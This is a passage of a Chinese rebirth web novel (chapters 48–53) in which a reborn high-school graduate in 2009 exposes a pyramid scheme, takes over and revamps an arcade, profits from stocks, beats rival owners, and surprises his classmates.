又过几天，终于露出了狐狸尾巴，神秘兮兮的跟陈让说，他手里有个超来钱的买卖，问他有没有兴趣。 陈总多大个人精，已经大概猜到这位老哥是什么品种的妖魔鬼怪了，但是没直接说破，而是拉着大黄哥当保镖，跟老哥约了个茶馆细聊。 老哥来之前，陈让点开了手机的录音功能。 如果真如他猜测，陈总在保障自己安全的前提下，不介意来波“为民除害”。 梳着大背头的老哥很快来了，一来就口若悬河，跟陈总扯什么上游下游、裂变营销、管道收入、层级分配之类的话术。 陈总秒懂。 想了想后跟老哥说，自己非常感兴趣，叫老哥呆在茶馆不要走动，陈总去给你买橘子（划掉）——去取钱。 拽着大黄哥出了茶馆，陈让没有去银行，而是拦了辆计程车，直奔市公安局。 “小陈，咱不是去取钱？” “傻啊，你还真信？” “啊，你不信？” “我信他妈个der。” 陈让给了大黄哥一个大大的鄙夷眼神。 到了公安局，立马把这个隐藏在本市的传销团伙举报了。 当天晚上，一则本市有史以来最大传销团伙落网的新闻，在市电视台八点档准点播出。 大黄哥看了新闻，方才后知后觉的惊出一身冷汗，暗道一声“小陈牛逼”。 他被老哥几句话就忽悠的五迷三道，小陈却一眼就看出了对面是什么品种的妖怪。 市公安局后面还专门给陈让打了个电话，说准备给他发个锦旗。 “警察叔叔，锦旗就算了，作为一个生长在红旗下的新时代新青年，我陈让要学习雷锋，做好事，不留名！” “……” “咳，警察叔叔，有一句说一句啊，除了锦旗，咱局里……难道就没有奖金？” “……” 最终经费不多的市公安局、咬着牙给陈让发了五千块钱。 陈让领完驾照后，便美滋滋的、戴着口罩去市公安局领小钱钱了。 五千块不多，但大小也是肉。 陈总这一生，就讲究个“无利不起早”。 值得一提，陈让去领钱时，市局某个副局长，还专门过来跟他聊了好久，说了许多褒奖的话。 并且话里话外都在暗示，以后在德州遇到什么难事儿，都可以给他打电话。 陈让起先有些der，寻思您这么大个局长，五千块奖金都要亲自过问的哟，还有后面的暗示又是啥意思，未必局长大人你还欠我人情？ 没道理的，眼目前你陈总、只是个平平无奇的高中生啊。 知道这位副局长姓周后，陈总明白过来了。 感情另有缘由——这位周局，大概率是周泰的老父亲。 想来周局昨晚调查过了。 知道林家可怕背景后，惊出了一身冷汗。 昨天那件事儿，要不是陈让来处理，而是换成宋臻——甚至可以这么说，陈让都算是周副局长的恩公了。 所以才有今天话里话外的暗示和讨好。 陈让想明白里面的玄机后，心想这不是瞌睡来了就有人送枕头么。 09年这个时间节点，电玩城还是有些街机厅的影子，很容易遇到所谓的“社会人”。 所以需要专政的铁拳来镇场子。 他本打算、从高升手里接过来后，顺便把高升原本的关系也接过来。 中间的过程，免不得当当孙子、塞塞红包。 现在这茬都可以省了——遇到事儿了就找周局呗。 出了市公安局，陈让直奔电玩城，找到了高升。 接下来就是陈总的表演时刻。 开始跟高升砍价。 半小时后，高升很不自信的报了最后一口价。 “陈让，108万，真不能再低了……” 高老板是真怕了某人。 小嘴儿巴拉巴拉的——从客流到市场、再到装修风格和经营理念，把他这家电玩城说的啥也不是。 诡异的是、他还下意识觉得，陈让说的贼有道理！ “老舅，成交。” 某人笑着跟高老板握了握手。 陈总也怕被他PUA到怀疑人生的高老舅、回过味儿来后反悔。 当天下午就完成了转账、签转让合同等相关流程。 成功把这家眼目前德州最大的电玩城，变成了他的形状。 在一家律所签完合同后，高升陪着陈让回了电玩城，召集所有员工开了个小会，正式确认了陈总新老板的身份。 员工们自是诧异。 高老板要转让电玩城，这个他们是知道的。 问题是——新老板这么年轻的吗？ 陈总也懒得跟员工们掰扯什么，简单说了两句后，便宣布散会。 他接手电玩城后，肯定要做一些改良。 首先装修风格得换。 要做的更加新潮、更符合年轻人的品位。 机器也得采购，跳舞机还是太少了，这才是吸引年轻人的神器。 除了陈让跟黄博文这种街机时代遗老，谁进电玩城是单纯为了打电动啊。 看JK小姐姐跳骚舞，它不香？ 其他像赛车游戏、打僵尸游戏，娃娃机，推币机，这些个可都是吞币神器，也得安排上。 高老舅经营理念还是太落后了，居然把电玩城经营成了大号街机厅，简直是在犯罪。 不过陈总并不打算立马着手。 决定先让电玩城按照原本模式，再经营几天。 这几天是用来观测员工的。 该留的就留，该滚蛋的就直接辞退。 通过这个过程，也能迅速建立起他这个新老板的威信。 第49章 老跟单身狗秀恩爱、有意思吗？ 第四十九章 老跟单身狗秀恩爱、有意思吗？ 这次小会，陈让表现出非常好说话的样子。 那架势——压根就是个钱多到蛋蛋疼，捣鼓个电玩城体验生活的太子爷。 有几个自以为机灵的骨干员工，此时就按捺不住的泛起小心思了。 高升当老板时，靠着曾经混过清水袍哥残留的威慑力，他们不敢有什么动作。 现在换成了陈让这么个小年轻，那不是任由他们拿捏？ 至于辞退他们——没了他们这些骨干，新老板怕是连怎么开机器都不会。 必不可能发生！ 这些个微表情，陈总看在眼中，却装作什么都不知道。 让子弹再飞一会吧。 开完会，陈让把高升送到了楼下。 看着高老舅开着一辆奥迪A4离开，有些回忆袭击了他。 “噗——” 实在没忍住、陈总笑出了声儿。 “高升……高老舅啊高老舅，你怎么不叫高启盛啊。” 前世有部叫《狂飙》的电视剧特别火。 男主名叫高启强，有个弟弟叫高启盛，智商颇高的他，却选择了在零六年囤小灵通，结果赔的裤衩子都没了。 高老舅选择在零九年囤功能机，不也有异曲同工之处？ 只能说、在时代大势真正席卷之前，并没有多少人能够看到苗头。 譬如现在这个节点，谁能想得到，一两年后就会迎来真正智能机的时代，又有谁能预测，现在还如日中天的诺基亚和摩托罗拉，都会被扫进时代的垃圾堆？ “高老舅，所谓‘良言难劝该死的鬼’，我可是劝过你了啊，你自己听不进去，那可怪不得你陈总了。” 接下来两天，陈让都在电玩城坐镇。 他每天早出晚归的，陈立青和李凤琴两口子，却也没多过问。 陈总高考整了个区状元、大大满足了夫妻俩的虚荣心。 这段时间在单位走路都不带低头的，想滋谁就滋谁。 吃水不忘挖井人——陈让的家庭地位，自是水涨船高，自由度更是大幅度提升。 在两口子的视角中，陈让大概也跟其他高三毕业生一样吧。 高三苦逼久了，这段时间属于报复性疯玩。 肯定想不到，他们家宝贝儿子、已经在千万富翁的道路上越走越远了。 电玩城枯坐两天后，陈总捱不住了，果断抓了大黄哥的壮丁，让他过来看店。 黄博文其实是拒绝了的，但是没能成功。 陈总是这么跟他说的—— “大黄，虽然你对为父不算孝顺，但是为父这马上要发大财了，却也不能把你这个犬子撇下。” “你前段时间不是给了我五千拿来炒股么，现在你那五千都快变成五万了，为父直接给你吧，怕你把持不住，所以为父替你做了决定，也给投进电玩城里面了，按照比例给你算了百分之五的股份。” “你不是来帮我，而是在帮你自己，这家电玩城，可是我们父子共同的江山！” 陈总牌鸡汤，世上几人扛得住啊——反正黄博文扛不住。 于是枯坐看店的人，从陈总变成了大黄哥。 估摸是看店太过无聊，两天后黄博文也闹意见了。 “小陈，虽然我是股东，但你可是大老板啊，叫我看店，你干嘛？” “我有更重要的工作要忙。” “忙啥？” “忙更重要的工作！” “……” 黄博文给了个鄙夷眼神，让某人自己体会。 真当他不知道啊。 这个狗比，这几天每天下午都跟林大校花去游泳的。 陈让嘿嘿一笑，还了黄博文一个大白眼后，便又准备跟林大美人在游泳馆接头。 虽然他依旧是个旱鸭-子，游泳只能跟“小孩坐一桌”，却不妨碍陈总对游泳充满“主观能动性”。 谁让游泳馆有条很洁白、很光滑、摸起来绝对很Q弹的大黑狗呢。 要不是亲眼所见，陈让绝对不敢相信，看起来身段那么苗条的林静姝，居然那么的天赋异禀。 起码都是36C能力果实拥有者吧，甚至有朝D级反向进化的趋势。 而且她的能力果实，形状还很完美，五十岁之前，应该都没有下垂的可能。 怎么说呢——好看，爱看！ 虽然在某个狗资本家眼中，好兄弟就是拿来坑的，但是坑也要讲究方式方法。 譬如在好兄弟心态有些崩时，就得给他上价值观，打打鸡血——这叫可持续性的竭泽而渔。 黄博文为什么心态小崩—— 换位思考一下，你最好的哥们儿，穿开裆裤一起长大的铁子，原本跟你一样平平无奇，突然就左脚踩右脚起飞了，飞的还贼几把高。 高考全市第三，区状元，数学还是省内唯一满分。 还跟德州一中建校以来、公认的颜值天花板林大校花打得火热——林静姝这样的史诗级白富美，甚至为他打人了。 这也就罢了——人家搞钱也搞得风生水起。 炒股赚了大几百万，现在还成了德州最大一家电玩城的大老板。 搁谁看着，心态能不崩啊？ 大黄哥都算心态好的，要换个肚量小的，估摸着都想跟陈让绝交了——参差感实在太强。 出去跟林静姝游泳前，陈让跟黄博文谈了会儿心。 “大黄，你情绪有点不对啊，来例假啦？” “滚——” “参差感别那么强，每个人都有自己的优缺点，虽然我看起来很优秀，但是……” “但是什么？” “但是我一点都不普通！” “小陈，你真的可以滚了……” “咳，那不是看你心态有点小崩，想逗逗你么？” “小陈，我倒不是真的嫉妒你啊……我就是突然觉得，跟你一比，我黄博文简直啥也不是啊，人跟人的差距，真有那么大的吗？” “大黄，话也不能这么说的，虽然我陈富贵的确是‘天日之表、龙凤之姿’……” “行行行，你打住……问你个问题啊，在我们这种自负才高八斗、本质上却狗几把不是的年纪，到底该优先做什么呢，先搞钱还是搞对象？” “把‘们’字去掉，我是真的才高八斗！” “……” 在大黄哥比起砂锅大小的拳头后，陈让选择了正经回答问题。 “那肯定是先搞钱啊，男人一无所有时候的真心，是世上最无用的东西。” “那我懂了……小陈，还是你看得透！” “这不废话——” 陈总嘚瑟着，做了个双手插兜的动作。 蓦地摸到了林静姝给他的、装着一千多个的银行卡。 “大黄，我收回刚才的话，搞钱和搞对象，其实不冲突——毕竟我现在，正在搞对象的钱。” 边说边掏出那张银行卡，贱兮兮的弹了弹。 “靠，你个贱人，真的可以滚了！” 黄博文完全忍不住，再次比起了拳头。 这个狗比，老跟他这条单身狗秀恩爱，有意思吗？ 第50章 好朋友是可以牵手的 第五十章 好朋友是可以牵手的 跟单身狗秀恩爱没意思，但是跟林大美人一起游泳，那就是真的有意思。 最有意思的、自然是游泳馆那条大黑狗。 透过它黢黑的表象，去探究它洁白的内在——它好像真的更光滑、更Q弹了。 好吧，不扯这些犊子，陈总想表达的，就是大家心里想的。 女孩子一般十五六岁就会停止发育，林大美人却还在持续这个过程。 刚认识她时，她的能力果实，显然还是C级，现在再看，分明已到D级。 何止恐怖如斯，简直恐怖如斯。 要不说某位学神少女是得了神眷的。 似乎不把她雕塑到无限接近完美，造物主祂老人家都不肯罢休。 陈让今天的午饭，随便对付的，电玩城吃的工作餐。 量大管饱，味道却连学校食堂都不如，再加上天气燥热，也就没吃几口。 游泳特别消耗体力。 游完泳后，很符合逻辑的、陈让特别饿。 林静姝听到了。 “陈让，你肚皮在咕咕叫。” 陈总叹了口气。 “因为我饿了，果然——诚实可靠、幽默风趣、温柔善良正义、英俊帅气智慧……都不能当饭吃。” “鹅鹅鹅——” 林大美人发出了鹅叫。 她整理着湿漉漉的长发，眼中满是揶揄。 “陈让，你脸皮好厚！” “呦呦同学，我以前脸皮挺薄的，直到经历了些许风霜。” “什么风霜？” “我曾经评价过我们班英语老师屁股特别大，然后被英语老师当场听到。” “……” “高二下学期，我还写过一本中二小说，整整两个笔记本，然后大过年的，我妈拿出来给我家几十个亲戚看。” “……” 林静姝又鹅鹅鹅笑了。 “富贵同学，那你很坚强啊，要换成是我……我绝对挖个坑把自己埋起来了。” “开始你富贵哥也有这样的想法，不过后来我想明白了——只要我不尴尬，尴尬的就是别人！” “富贵同学，你还是厉害的，做到了‘知行合一’。” 鉴于某人肚皮一直在咕咕叫，合计一番，两人决定去游泳馆不远处的步行街吃点东西。 走着走着，林静姝不走了，停在原地。 陈让又走两步，察觉后，回头问她怎么啦。 林大美人伸出了自己青葱如玉的小手。 “陈让，牵！” 想了想，学神少女又脸颊微红的补充。 “富贵同学，我查过了，好朋友是可以牵手的！” 她都这么说了，陈总还能怎么办呢，只得牵起了她的小手。 触感温润、柔若无骨，又带着些冰凉。 继续走。 起先是陈让握着林静姝的手，走着走着，慢慢变成了十指相扣。 此时天空湛蓝，阳光绚烂，花草树木，车辆行人，一切的一切，仿佛都无来由的变得美好了。 …… 时间作为三维世界永恒存在的虚轴，继续向前滚动。 一个月过去了。 时间线从七月份来到了八月份。 天气还是燥热，夏蝉依旧聒噪——过去的一个月，陈让依旧忙碌而充实。 精力基本对半开。 一半放在股市，一半放在电玩城。 靠着“重生挂”，陈总成功给“大A”上了课，赚的可谓盆满钵满。 他把林静姝给他那张卡里的“零花钱”，一起砸了进去，靠着这波股市回暖，赚了差不多一千五百万。 这个数字，放在25年都算是巨款，更别说09年。 也就是说，陈让创业初期需要的资金，已经足够。 所以在大盘依旧节节攀升，连菜市场大妈们都开始入局时，陈总果断选择了抽身。 对于这个——这段时间每天都看着陈让疯狂给“大A”上课的大黄哥，表示很不理解。 “小陈，明明股市还在疯涨啊，你怎么就撤了啊？” 陈总很装逼的回复。 “大黄，为父今儿就给你上一课吧，股市也好，商场也罢，谨记一句话——永远不赚最后的钱。” 这话黄博文倒是听懂了，也知道道理确实是这个道理，眼中却依旧满是不舍。 现在小陈每操纵一天，就能多赚大几十万啊——多少家庭一辈子都攒不下这么多钱？ 要不说“知行合一”、素来为儒家推崇。 不赚最后的钱——如此浅显的道理，大多股民都懂，真正能做到的又有几个？ 陈让也就是上辈子已经财富自由了，早就不是金钱的奴隶，才能克制住贪欲。 又过几天，股市开始毫无征兆的大跳水，网上也陆续出现股民上天台的新闻。 黄博文这才惊出一身冷汗。 也拎清楚了自己的斤两，发誓这辈子都不会碰股票这玩意儿。 讲道理——他既没有小陈的先见之明，更没有那种说抽身就抽身的决断。 电玩城这边—— 按照先前模式营业一周，收集到足够的市场反馈后，陈让选择了关门。 值得一提—— 有几个骨干员工，的确如陈总所料，妄想串联着中饱私囊。 却又哪儿想得到、陈让早有应对，甚至就是在“钓鱼执法”？ 整理好证据后，陈总一个电话，都给送进了局子。 中间的过程—— 这几个家伙，玩起了“声泪俱下、悔不当初”那一套。 甚至有两个家伙，当场就下跪了，不住扇自己耳光。 看得大黄哥于心不忍。 “小陈，我看他们几个都已经知错了……就饶了他们这次吧？” 陈总没有给黄博文这个面子，而是展现了自己冷血的那一面。 “大黄，相信我，他们跟我下跪，打自己耳光，不是因为知道自己错了……而是知道自己马上要进局子。” 清除电玩城的不安定因素后，陈总开始了大刀阔斧的改革。 首先是重新装修。 风格要新潮化，更符合年轻人的品味。 接着又砸钱采购了许多新机器。 至于把那几个骨干员工送进局子后、造成的人力缺口——重新招聘就是了，多大个事儿。 套用某个该挂路灯的狗资本家那句话——“你不干？有的是人干！” 停业半月后，焕然一新的电玩城重新开业。 陈总提前几天就开始砸钱造势。 花车巡逻、广发传单，找市电视台和几个报社打广告——宣传力度直接拉满。 同时还跟一帮职高小姐姐、达成了合作协议。 让她们有空时、就穿着JK小制服，来他的电玩城撑场子。 币子免费，每天还有五十元津贴。 小姐姐们本来就很喜欢到电玩城跳骚舞，现在不用花钱不说，还有津贴拿，当然一百二十个愿意。 陈总这种营销思路，有点类似于夜场中的酒托。 俗归俗，架不住效果嗷嗷好。 诸多方面加持——电玩城重新开业后，生意变得异常火爆。 第51章 异常朴素的“商战” 第五十一章 异常朴素的“商战” 电玩城重新开业后，陈总统计了前三天数据。 客流量翻了两三倍，营收更是达到了先前的四五倍。 前者得益于宣传，以及JK小姐姐们骚舞确实够骚。 作为一个成熟的狗资本家，陈总心多黑，采购的新机器都是吞币大户。 跳舞机、推币机、娃娃机、投篮机、赛车游戏射击游戏——安排、统统安排。 这么一通下来，客人们玩的开心，陈总数钱也数的开心。 战术后仰一下—— 什么叫双赢？ 这就叫双赢！ 陈总还从那帮骚舞小姐姐中、选了十来个长得有初恋感的、纳入了麾下。 简单培训后、推出了陪玩服务。 这项服务，价格可不低。 陪玩半小时就要五十块——这个在零九年属于绝对的高消费。 毕竟在09年，德州这边，商K小姐姐们给客人摸一晚上也才两三百块。 这项业务推出后，却是大受欢迎，不知道爆了多少金币。 作为男人，陈总肯定懂男人的。 哪个喜欢玩游戏的男人，没有幻想过，能有个年轻漂亮的妹子陪自己玩游戏？ 学生时代没那个魅力，现在完全可以花点钱弥补遗憾嘛。 所以陈总发财是有道理的——懂营销，更懂人性。 有人欢喜就有人愁。 一座城市的玩家数量、基本是固定的。 陈让这边搞得热火朝天，理所当然发生了“虹吸效应”。 把其他电玩城的玩家，吸走了大半。 其他电玩城的老板们、自是慌得不行。 刚开始倒也没想玩阴的。 派了员工、甚至亲自上阵，悄咪的过来取经。 观察一阵后，发现自己就不可能搞得过。 人家这个装修、这些新潮机器，花了多少钱？ 还有那群JK制服小姐姐——也不知道那位年轻的陈老板，到底给人家灌了什么迷-魂-药，竟是将这群妹子都迷得神魂颠倒，多花钱都很难挖走！ 其实陈总这些个套路，硬要复制也能，舍得花钱就行。 问题就出在这儿。 钱花出去简单，要收不回来呢？ 陈让这边已经形成了“先发优势”。 想后来居上，却又谈何容易。 这群老板权衡半天后，硬是没有哪个有这样的魄力。 就有人起歪心思了，跟陈总玩起了“商战”。 小说里面的商战——你这边运筹帷幄，我这边见招拆招，恨不得把《孙子兵法》和《三十六计》都用上。 现实层面远没这么复杂。 同行们的出招、简单又粗暴。 第一，给有关部门打电话，举报陈让这边存在消防隐患。 第二，还是举报——说陈让这边推出的陪玩业务，是在打擦边球。 第三，花钱找了群小黄毛，过来故意找茬儿。 “还好，还好……这几个同行只会低端操作，他们要是掌握了商战的最高奥义——跑过来用开水浇我的发财树——那我就彻底没辙了，只能投降。” 吐槽完毕后，陈总开始应对。 电玩城火爆后会有同行找茬儿，完全在陈总预料。 应对方案早就做好。 举报我有消防隐患？ 很遗憾，陈总预判了你们的预判，开业前就请消防部门过来验收了，各种证都是奇全的。 甚至还反手把他们给举报了——讲道理，你们才是真的有安全隐患。 至于打擦边球——呵呵哒，一没露胸、二没露屁股，打什么擦边球啊？ “有偿陪玩”在25年都有生存的土壤，更别说各行各业都还在野蛮生长的09年。 有关部门就不可能管。 至于小黄毛过来找茬儿——这个稍微有点难度，让陈总永乐店兵法，还花了些小钱。 陈总直接打了周局的电话，把几个跳得最欢的刺头，先送进去喝茶。 然后请几个有点脑子的、吃了顿串串。 将情商拉满，一顿饭就都给策反了，处成了“哥们儿”。 都“好兄弟”了，“哥哥们”好意思再来砸弟弟的场子？ 倒是其他几家电玩城——“哥哥们”才该多去转转。 边说边掏钞票，一人发了两千。 别笑，对“小黄毛”就得这么直接。 于是过没两天，这几个电玩城老板，就都灰头土脸的、来找陈总休战。 玩骚套路又玩不过。 比关系——人家有周局撑腰。 再不认怂，会把自己玩没了的。 于是陈总重生后的首次“商战”、就这么的、以异常朴素的方式，大获全胜。 值得一提—— 林静姝偶尔也会来电玩城玩游戏。 不玩别的，只玩拳皇97。 其实拳皇97均衡性并不好，远不如卡普空的街头霸王，也不如拳皇母公司SNK随后推出的拳皇九八。 但是它打击感好。 甭管拳皇97有多少不足，人家始终是国内最流行的格斗游戏。 哪怕后世，依旧有不少拥趸。 它在国内的火爆程度，魔幻到连SNK自己都看不懂。 陈让为了抓住拳皇97的广大拥趸，进了十多台专业机器，基板都是直接从日本SNK总公司进口的，摇杆配置也拉满，由此吸引了不少街机时代的老玩家。 这帮骨灰级，或许消费能力比不上年轻人，却是最忠诚的。 二流营销卖商品，一流营销卖情怀。 陈总把这批老玩家也安排的明明白白，他不赚钱谁赚啊？ 林静姝玩拳皇97，起先只跟陈让玩。 奈何陈让太忙，抽不出多少时间陪她。 只好跟电脑玩。 玩久了却也没意思，在陈让唆使下，她鼓起勇气，开始跟其他玩家对战。 专业的拳皇97机器，不是那种联排坐的，而是两台联网——这也是林静姝敢跟其他玩家对战的根本原因。 不用坐在一起，更不用交流，简直为她量身定做。 一开始林静姝不怎么打得过。 但是架不住她学习天赋强。 渐渐赢多输少。 进入八月份后，更是进化到了斗宗之境，打得一众拳皇老鸟哭爹喊娘。 想一想这样的画面—— 清冷如月色的少女，板着脸坐在自己的专属机器前，将一个个想打赢她、好在这位大美人心中留下点存在感的老玩家们，冷血又无情的逐一斩杀。 反差感直接拉满。 放后世，肯定会收获一大群小迷妹，高喊着“姐姐A我”。 随着林静姝越来越厉害，她在电玩城有了难以想象的人气，直接完爆了那帮跳骚舞的JK小姐姐。 反正每次她来玩拳皇，就是电玩城生意最好的时候，却又没有哪个真敢去搭讪。 其一，林静姝气场太强。 其二，人家打拳皇是真厉害。 一群大老爷们儿，玩游戏却打不过个妹子，谁还有脸去？ 其三，应该是最重要的原因吧。 陈让采购了一台拳力测试机，林静姝有次来了兴致，跑过去来了一拳，居然直接给打爆机了。 中间这个过程，也不知惊掉多少眼球。 第52章 说曹操、曹操到 第五十二章 说曹操、曹操到 时间线进入八月份后，准大学生们、也早没了拿到大学录取通知书后的激动，开始感到空虚。 毕竟再怎么疯玩，也很难挥霍掉高考结束到大学报名、中间将近三个月的空窗。 人类这种生物，空虚就会找乐子。 八月上旬某天，大清早的，李文韬这个家伙就开始在班级群里咋呼，号召班上同学来个聚会，组团找个地儿耍耍。 李大班长这个号召，得到了好些人响应。 经过讨论后，确定了聚会内容。 上午找个茶馆打牌，中午吃串串，下午则去最近德州最火爆的那家电玩城。 由此可见，陈总运营电玩城的一系列组合拳，确实成效显著，他这家面貌全新的电玩城，于德州市的年轻人群体来说，便是时髦和新潮的象征。 不过班上同学，除了大黄哥，却也没谁知道、这家电玩城的老板，便是陈让——否则早就组团来打秋风了。 早就晒成一条黑泥鳅的牟佳佳，在群里@了李文韬，发表了一下意见。 “班长，下午真要去电玩城吗？我听人说这家现在超级火爆啊，搞得都要排队进场了，今天太阳又毒，我可不想在楼下傻等啊。” 牟同学这个消息，得到了班上很多女同学的附议。 女孩子嘛，终究还是爱美的。 李文韬沉默片刻后，“不负众望”的装了个尬逼。 高三六班常务副班主任：咳……大家不用担心，本人可以适当动用一下关系，试试看、能不能让大家不用排队…… 事实是他有个鸭儿的关系，就是纯粹装尬逼装习惯了。 所以李大班长说的是“试试看”，而不是“保证”。 要不说这货语文成绩、乃是雷打不动的全班第一。 这话说得、多有语言的艺术。 牟同学：“班长，到底需不需要排队嘛，不给个明确说法，今天聚会我就不来了。” 这话再次引起班上女生们附和。 显然跟牟佳佳一样，她们也不大信李文韬的话。 眼瞅着聚会就要黄，自己在班上也将失去引以为傲的号召力，李文韬咬牙切齿，恨死了牟佳佳。 心里寻思着，这婆娘有毒吧，最近怎么老拆他的台？明明她以前都是针对陈让的啊。 话又说回来，陈让最近忙啥呢，整个暑假，竟是一点消息没有。 连带着这家伙的挂件黄博文，也跟着人间蒸发…… 呵呵哒，这哥俩不会被骗去搞传销了吧。 要真如此，那不得放个烟花庆祝一下？ 要不说“四川人、说不得”——李文韬正想到这里，黄博文在班级群里冒了泡。 “同学们，如果你们下午真要来电玩城，我可以带你们进去，到了地方，打我电话就行。” 李大班长很快怼了一句。 “黄博文，你凭什么这么讲啊，难道你关系比我还硬？” 其他同学，也有几个跟着质疑。 大黄哥只回了一句“你们到了就知道”。 其实他是很想装了这个逼的。 同学们，都看过来！ 这家德州最新潮火爆的电玩城，大老板便是“陈·钮钴禄·让”！ 作为陈老板尊贵的挂件，我“黄·瓜尔佳·博文”，则是占股比例高达百分之五的二股东！ 但是按捺住了。 小陈讲过的——装逼是种病，得治！ 亲眼目睹陈让短短一个暑假就赚了一千多万，黄博文是真的服气了，俨然有把陈让当人生导师的架势。 凡是陈让跟他讲过的道理，黄博文都会尽量遵循。 大黄哥这样的耿直boy，公信力比李文韬大得多。 还是牟佳佳第一个站出来的。 “黄博文，我信你……那我们下午就去电玩城吧，其实我也好想去的。” 牟同学依稀猜得到，黄博文有能耐让大家不用排队，多半跟陈让有关。 没敢往陈让就是电玩城老板这个方向想。 大几百万的投资，陈让怎可能拿得出来？ 虽说她曾亲眼见证、陈让跟自己小姑捣鼓医美代购、短短半个月赚了三十万。 但几十万跟几百万，终究不是一个概念。 她的猜测——陈让大概是这家电玩城的小股东、有一定的特权？ 其他同学也都陆续附议。 已经很久没在班级群说话的夏灵珊，冷不丁的打了三个字。 “我也去。” 成功将很多潜水怪炸了出来，也表示要参加今天的聚会。 夏灵珊在班上，的确有这样的地位，绝对的拥趸如云。 于是本来只有十来人参加的小团建，成了班上大多数同学都会来的大活动。 下午两点半，打完牌、吃完串串的众同学，顶着炎炎烈日，到了电玩城楼下。 抬眼望去—— 好家伙，这么毒辣的太阳，竟是排着长龙，起码两三百人！ 都傻了眼。 知道这家电玩城生意很火爆，却也没想到、能如此火爆。 有个一看就很老实、带着高度近视眼镜的男生，压低声音问李文韬。 “班长，知道这家电玩城的新老板是谁不，这也太牛叉了吧，居然能把生意做到这种地步，这每天得赚多少钱啊？两万、三万，甚至是五万？” “这个吧——” 李文韬肯定不会承认自己不知道的。 他拖长了语调。 “刘勇，你这话问的——我肯定知道啊，你班长家在德州什么档次？不过没有这位大佬的允许，我怎么好随意透露？” 叫刘勇的男生缩了缩脖子：“不至于吧？” “呵呵，你说不至于就不至于啊？刘勇，我就这么跟你说吧——别看这只是一家电玩城啊，里面水深着呢。” 李文韬挑了挑眉。 “你也别问到底水有多深——懂的肯定懂，不懂的懂了也没用，你就细细品吧，当然我相信以你的智慧，完全可以参透，但还是要记住一点，自己懂就行了，别出去乱说……你懂了吧。” 这货边用最高深莫测的方式，讲着最没用的废话，边拍了拍刘勇的肩膀。 什么叫“先天公务员圣体”啊，这就是了！ 刘勇：“……” 他的确是个老实孩子，完全被唬到了。 估摸着怕刘勇继续追问，李文韬选择了转移话题。 “黄博文呢，他不是说要带咱们进去的么，不会是在吹牛吧？” 炎炎烈日之下，其他同学也都烦躁，便有几个跟着嚷嚷。 说曹操、曹操到——黄博文出现在了楼梯口。 “李文韬，瞎逼-逼什么呢，我这不来了么，走吧，同学们，说到做到啊，带你们进去。” 第53章 大黄、你真的很不严谨 第五十三章 大黄、你真的很不严谨 李文韬先是缩了缩脖子。 他还是挺怕黄博文的，毕竟大黄哥乃是军体拳满级选手。 不过更多还是疑惑。 “黄博文，你真能带咱们进去啊？四五十号人呢。” 其他同学，脸上也都写着不解。 同窗整三年，彼此对彼此的家庭条件，都有个大致的了解。 黄博文家里、哪可能有这么牛逼的亲戚？ 此时电玩城楼下正排着长队。 楼梯口下来一个人，才会放一个进去——说明早就满员。 多硬的关系，才能一下子带几十号人进去？ 亲戚开的怕都不好使。 除非这家电玩城是黄博文家开的。 但是这又怎么可能？ 夏灵珊也满是好奇，看向黄博文。 “大黄，最近小陈跟你，都是神龙见首不见尾的，你们哥俩在忙什么啊？” “还有——你怎么是从电玩城里面出来的啊？”她开始猜测，“难道——你跟小陈、这段时间是在电玩城打工？” 夏灵珊的说法，得到了大多数同学的认同。 譬如李文韬。 这货开始哂笑。 “黄博文，你这家伙，拽得像个二五八万，我还以为你有多大的关系呢，搞半天，是跟陈让一起，在这家电玩城打工？” “哎——“也不是我说你俩，咱们马上就是大学生了，是祖国未来的栋梁，怎么能来电玩城这种地方打工呢，简直拉低了咱们大学生的档次！” 其他同学虽然没有像李文韬这么贴脸输出，却都露出了附和的微表情，心里多少有了些鄙夷。 零九年这个时间节点、各大高校已经在疯狂扩招，大学生肯定不再是什么天之骄子。 但是人的认知存在延后性。 在场大多数同学，依旧自视甚高，对服务生之类的工作，有着本能的歧视和不屑。 这种错误的认知，要矫正倒也简单——毕业后被社会毒打两年就好了。 毕竟09年这波高考生毕业时，已经到了本科生不如狗、研究生满地走的阶段。 黄博文没有选择跟李文韬怼。 大黄哥能如此有涵养，显然还是陈让教他的——真咬人的狗、通常都是那种不叫的。 他摆摆手：“哎呀，大太阳晒着，同学们不热啊，先上去再说吧，里面有空调。” 心里则在冷笑。 服务生？ 孤陋之寡闻，鼠目之寸光！ 你大黄哥现在可是德州最时髦、最新潮电玩城，尊贵的二股东！ 大家伙确实也热得不行，便都跟在黄博文后面，往保安们设卡的楼梯口走去。 然后就是喜闻乐见的打脸剧情。 保安们看到黄博文，都恭恭敬敬跟他问好了，一口一个“小黄哥”。 同学们都傻了眼。 喵喵喵？ 小黄哥？ 这年头服务生江湖地位这么高的？ 黄博文努力压制着自己上翘的嘴角。 “愣着干啥，同学们，都请吧！” 虽然小陈跟他说过，装逼是种病，但他现在真的不想治。 因为这玩意儿真的好爽！ 带着疑惑，众同学进了电玩城，竟是有种刘姥姥进大观园的感觉。 装修也太有档次了，新潮中带着未来科幻感。 布局也很巧妙，合理利用了所有空间，却又不让人觉得拥挤。 机器基本都是新的，一看就花了血本。 美女也多。 还有不少穿着JK制服、花枝招展的小姐姐。 然后电玩城的员工们，以及这些个JK小姐姐，居然也都在跟黄博文问好，一口一个“小黄哥”。 众同学又不傻，自然明白了，以黄博文这个江湖地位，绝对不是什么服务生，而是更加高级的职务。 问题是——他一个“真·平平无奇”的高中生，凭什么能在这家电玩城身居高位？ 这里面没有一点逻辑呀。 夏灵珊首先按捺不住，比着眸子，问黄博文到底是什么回事儿——其实依稀也猜到了，肯定跟陈让有关。 黄博文也就不卖关子了，浅笑着说：“各位同学，跟你们说实话吧，其实这家电玩城的老板就是——” 还没说完，就被牟佳佳抢过了话茬儿。 “黄博文，你不会说是你吧？” 大黄哥撇撇嘴：“牟同学，你觉得我配吗？” 牟佳佳摇头：“我觉得你不配。难道说……老板是陈让？” 黄博文点头：“牟同学，可以的啊，都学会抢答了。但是我也得给自己贴贴金啊，我可是这家电玩城尊贵的二股东！” 众同学便都懵了。 这家电玩城的老板、居然是陈让？ 在他们的认知中，能做这么大生意的、都是那种很厉害的大人。 其实大家伙儿都成年了——但他们潜意识还是会把自己当成孩子。 李文韬皱着眉头。 “黄博文，你这吹得太离谱了吧……陈让……他怎么可能是这家电玩城老板？” 他曾亲眼看着陈让两首歌卖了王天后一百万。 但是开这么大一家电玩城，里面很多东西，可不是单纯有钱就能搞定的——得黑白通吃！ 